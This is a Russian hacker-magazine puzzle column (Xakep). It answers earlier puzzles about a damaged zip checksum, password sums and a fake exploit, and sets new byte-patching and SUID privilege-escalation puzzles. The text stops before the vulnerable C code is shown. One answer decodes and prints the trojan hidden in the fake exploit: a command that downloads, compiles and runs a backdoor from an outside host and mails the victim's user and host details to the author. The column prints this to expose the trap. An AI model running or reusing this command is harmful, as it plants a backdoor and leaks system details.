X-Puzzle Иван Скляров Xakep, номер #066, стр. 066-158-1 (Sklyarov@real.xakep.ru) «ПРОЙДИСЬ ДЕБАГГЕРОМ ПО СВОИМ МОЗГАМ!» Не стесняйся присылать мне свои ответы, даже если ты смог ответить всего на один пазл, я с интересом почитаю твои оригинальные решения. Ну, а имена героев, которые первыми правильно ответят на все вопросы, конечно же, будут опубликованы в журнале, чем прославятся на всю Россию (и не только) и навечно войдут в историю Х. Приз за нами не заржавеет ;). Но помни: в большинстве случаев вариант ответа засчитывается как правильный, только если к нему приложено подробное и ВЕРНОЕ объяснение, почему выбран именно этот вариант, а не какой-либо другой. ОТВЕТЫ К ПРЕДЫДУЩЕМУ ВЫПУСКУ X-PUZZLE Ответ на пазл №1 «Архив с секретом» Для того чтобы открыть архив, нужно исправить 15-й байт с 21 на 22 (с 15-го байта в zip-архиве всегда расположена контрольная сумма, именно она сама и была повреждена). Для прочтения зашифрованного сообщения в файле secret.com необходимо поменять 28-й байт с 42 на 43 (т.е. "inc dx" на "inc bx"). А текст последнего задания гласит: «Please, send me any postcard on the e-mail sklyarov@mail333.com ;)». Следовательно для полного решения пазла необходимо было просто отправить открытку на указанный e-mail ;). Ответ на пазл №2 «Admin Monkey» Если складывать ASCII-коды символов, входящих в пароль, то первые три символа пароля всегда в сумме образуют число 213 (в dec), последующие три символа всегда дают в сумме 150 (в dec), и последние три символа пароля всегда образуют число 260 (в dec). Ответ на пазл №3 «Василий и великий гуру» Без оператора условия строку можно переписать следующим образом: N=Y+X-N Ответ на пазл №4 «Приватный эксплойт для скрипткидди» Использование этого эксплойта может закончиться печально для скрипткидди, т.к. под видом эксплойта здесь скрывается обычный троян. В переменной shellcode под шестнадцатеричными кодами скрыты следующие строки: `which lynx` -dump suka.ru/bd.c>/tmp/bd.c; gcc –o /tmp/bd /tmp/bd.c; sh /tmp/bd;rm –f /tmp/bd*; echo “`whoami`@`hostname –i`”|mail h@suka.ru Т.е. с помощью lynx скачивается файл bd.c (очевидно бэкдор) с адреса suka.ru и записывается в темповую директорию. Затем бэкдор компилится и запускается, после чего удаляются все временные файлы. Далее отправляется письмо автору «эксплойта». Естественно, что ничего подобного в настоящем эксплойте быть не может. ПЕРВЫЙ ПАЗЛ «I love Windows!» На скриншоте показана com-программа (96 байт), которая выводит на экран фразу «I love Windows!». Наверное, не стоит объяснять, что это неправильная жизненная позиция :). Поэтому нужно изменить в этой программе всего один байт, чтобы прога выдала на экран фразу «I love Linux!». ВТОРОЙ ПАЗЛ «Чудесный эксплойт» Скрипткидди удалось получить доступ к шеллу удаленной машины с правами nobody. Это не устраивало маленького засранца, т.к. ему хотелось рута. Перепробовав все доступные локальные эксплойты, скрипткидди хотел уж было совсем отчаяться, но неожиданно, просматривая файлы на сервере, он заметил очень подозрительный суидный файл под названием hole. Порыскав по инету, он не смог найти эксплойт к данной программе, зато нашел исходник hole, явно написанный гением-недоучкой. Внутри скрипткидди обнаружил такой бажный код на Си: |